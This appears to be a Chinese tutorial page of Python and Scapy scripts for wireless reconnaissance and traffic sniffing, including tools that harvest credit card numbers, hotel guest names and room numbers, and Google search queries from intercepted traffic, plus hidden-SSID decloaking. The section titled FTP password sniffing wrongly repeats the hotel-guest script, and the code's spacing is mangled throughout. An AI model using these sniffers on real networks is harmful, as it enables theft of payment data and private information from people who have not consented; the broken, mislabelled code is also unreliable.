PyWifl 模块寻找wifi来源

#-*- coding: UTF-8 -*-

importpywifidefbies():

wifi=pywifi.PyWiFi()#创建一个无限对象

ifaces=wifi.interfaces()[0]#取一个无线网卡

ifaces.scan()#扫描

bessis=ifaces.scan_results()for i inrange(len(bessis)):print(bessis[i].ssid, bessis[i].signal)

bies()

Wifl 侦听模块

importosfrom scapy.all import *iface= "en0"os.system("/usr/sbin/iwconfig" + iface + "mode monitor")#Dump packets that are not beacons, probe request / responses

defdump_packet(pkt):if not pkt.haslayer(Dot11Beacon) and\not pkt.haslayer(Dot11ProbeReq) and\notpkt.haslayer(Dot11ProbeResp):print(pkt.summary())ifpkt.haslayer(Raw):print(hexdump(pkt.load))print("\n")whileTrue:for channel in range(1, 14):

os.system("/usr/sbin/iwconfig" + iface +\"channel" +str(channel))print("Sniffing on channel" +str(channel))

sniff(iface=iface,

prn=dump_packet,

count=10,

timeout=3,

store=0)

用Scapy测试无线网卡的嗅探功能

测试嗅探无线网络的代码

#!/usr/bin/python#coding=utf-8

from scapy.all import *

defpktPrint(pkt):ifpkt.haslayer(Dot11Beacon):print '[+] Detected 802.11 Beacon Frame'

elifpkt.haslayer(Dot11ProbeReq):print '[+] Detected 802.11 Probe Request Frame'

elifpkt.haslayer(TCP):print '[+] Detected a TCP Packet'

elifpkt.haslayer(DNS):print '[+] Detected a DNS Packet'conf.iface= 'wlan0mon'sniff(prn=pktPrint)

使用Python正则表达式嗅探信用卡信息

3种常用的信用卡:Visa、MasterCard和American Express。

#!/usr/bin/python#coding=utf-8

importredeffindCreditCard(raw):#American Express信用卡由34或37开头的15位数字组成

americaRE = re.findall('3[47][0-9]{13}', raw)ifamericaRE:print '[+] Found American Express Card:' +americaRE[0]defmain():

tests=[]

tests.append('I would like to buy 1337 copies of that dvd')

tests.append('Bill my card: 378282246310005 for \$2600')for test intests:

findCreditCard(test)if __name__ == '__main__':

main()

接着就加入Scapy来嗅探TCP数据包实现嗅探功能:

#!/usr/bin/python#coding=utf-8

importreimportoptparsefrom scapy.all import *

deffindCreditCard(pkt):

raw= pkt.sprintf('%Raw.load%')#American Express信用卡由34或37开头的15位数字组成

americaRE = re.findall('3[47][0-9]{13}', raw)#MasterCard信用卡的开头为51~55,共16位数字

masterRE = re.findall('5[1-5][0-9]{14}', raw)#Visa信用卡开头数字为4,长度为13或16位

visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)ifamericaRE:print '[+] Found American Express Card:' +americaRE[0]ifmasterRE:print '[+] Found MasterCard Card:' +masterRE[0]ifvisaRE:print '[+] Found Visa Card:' +visaRE[0]defmain():

parser= optparse.OptionParser('[*]Usage: python creditSniff.py -i ')

parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')

(options, args)=parser.parse_args()if options.interface ==None:printparser.usage

exit(0)else:

conf.iface=options.interfacetry:print '[*] Starting Credit Card Sniffer.'sniff(filter='tcp', prn=findCreditCard, store=0)exceptKeyboardInterrupt:

exit(0)if __name__ == '__main__':

main()

嗅探宾馆住客

#!/usr/bin/python#coding=utf-8

importoptparsefrom scapy.all import *

deffindGuest(pkt):

raw= pkt.sprintf('%Raw.load%')

name= re.findall('(?i)LAST_NAME=(.*)&', raw)

room= re.findall("(?i)ROOM_NUMBER=(.*)'", raw)ifname:print '[+] Found Hotel Guest' + str(name[0]) + ', Room #' +str(room[0])defmain():

parser= optparse.OptionParser('[*]Usage: python hotelSniff.py -i ')

parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')

(options, args)=parser.parse_args()if options.interface ==None:printparser.usage

exit(0)else:

conf.iface=options.interfacetry:print '[*] Starting Hotel Guest Sniffer.'sniff(filter='tcp', prn=findGuest, store=0)exceptKeyboardInterrupt:

exit(0)if __name__ == '__main__':

main()

编写谷歌键盘记录器:

Google搜索,由“q=”开始,中间是要搜索的字符串,并以“&”终止,字符“pg=”后接的是上一个搜索的内容。

#!/usr/bin/python#coding=utf-8

importoptparsefrom scapy.all import *

deffindGoogle(pkt):ifpkt.haslayer(Raw):

payload=pkt.getlayer(Raw).loadif 'GET' inpayload:if 'google' inpayload:

r= re.findall(r'(?i)\&q=(.*?)\&', payload)ifr:

search= r[0].split('&')[0]

search= search.replace('q=', '').replace('+', ' ').replace('%20', ' ')print '[+] Searched For:' +searchdefmain():

parser= optparse.OptionParser('[*]Usage: python googleSniff.py -i ')

parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')

(options, args)=parser.parse_args()if options.interface ==None:printparser.usage

exit(0)else:

conf.iface=options.interfacetry:print '[*] Starting Google Sniffer.'sniff(filter='tcp port 80', prn=findGoogle)exceptKeyboardInterrupt:

exit(0)if __name__ == '__main__':

main()

嗅探FTP登录口令:

#!/usr/bin/python#coding=utf-8

importoptparsefrom scapy.all import *

deffindGuest(pkt):

raw= pkt.sprintf('%Raw.load%')

name= re.findall('(?i)LAST_NAME=(.*)&', raw)

room= re.findall("(?i)ROOM_NUMBER=(.*)'", raw)ifname:print '[+] Found Hotel Guest' + str(name[0]) + ', Room #' +str(room[0])defmain():

parser= optparse.OptionParser('[*]Usage: python hotelSniff.py -i ')

parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')

(options, args)=parser.parse_args()if options.interface ==None:printparser.usage

exit(0)else:

conf.iface=options.interfacetry:print '[*] Starting Hotel Guest Sniffer.'sniff(filter='tcp', prn=findGuest, store=0)exceptKeyboardInterrupt:

exit(0)if __name__ == '__main__':

main()

侦听无线 802.11 Probe请求

#!/usr/bin/python#utf-8

from scapy.all import *interface= 'wlan0mon'probeReqs=[]defsniffProbe(p):ifp.haslayer(Dot11ProbeReq):

netName=p.getlayer(Dot11ProbeReq).infoif netName not inprobeReqs:

probeReqs.append(netName)print '[+] Detected New Probe Request:' +netName

sniff(iface=interface, prn=sniffProbe)

寻找隐藏网络的802.11信标

defsniffDot11(p):ifp.haslayer(Dot11Beacon):if p.getlayer(Dot11Beacon).info == '':

addr2=p.getlayer(Dot11).addr2if addr2 not inhiddenNets:print '[-] Detected Hidden SSID: with MAC:' +addr2

hiddenNets.append(addr2)

找出隐藏的802.11网络的网络名

#!/usr/bin/python#coding=utf-8

importsysfrom scapy import *interface= 'wlan0mon'hiddenNets=[]

unhiddenNets=[]defsniffDot11(p):ifp.haslayer(Dot11ProbeResp):

addr2=p.getlayer(Dot11).addr2if (addr2 in hiddenNets) & (addr2 not inunhiddenNets):

netName=p.getlayer(Dot11ProbeResp).infoprint '[+] Decloaked Hidden SSID :' + netName + 'for MAC:' +addr2

unhiddenNets.append(addr2)ifp.haslayer(Dot11Beacon):if p.getlayer(Dot11Beacon).info == '':

addr2=p.getlayer(Dot11).addr2if addr2 not inhiddenNets:print '[-] Detected Hidden SSID: with MAC:' +addr2

hiddenNets.append(addr2)

sniff(iface=interface, prn=sniffDot11)

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐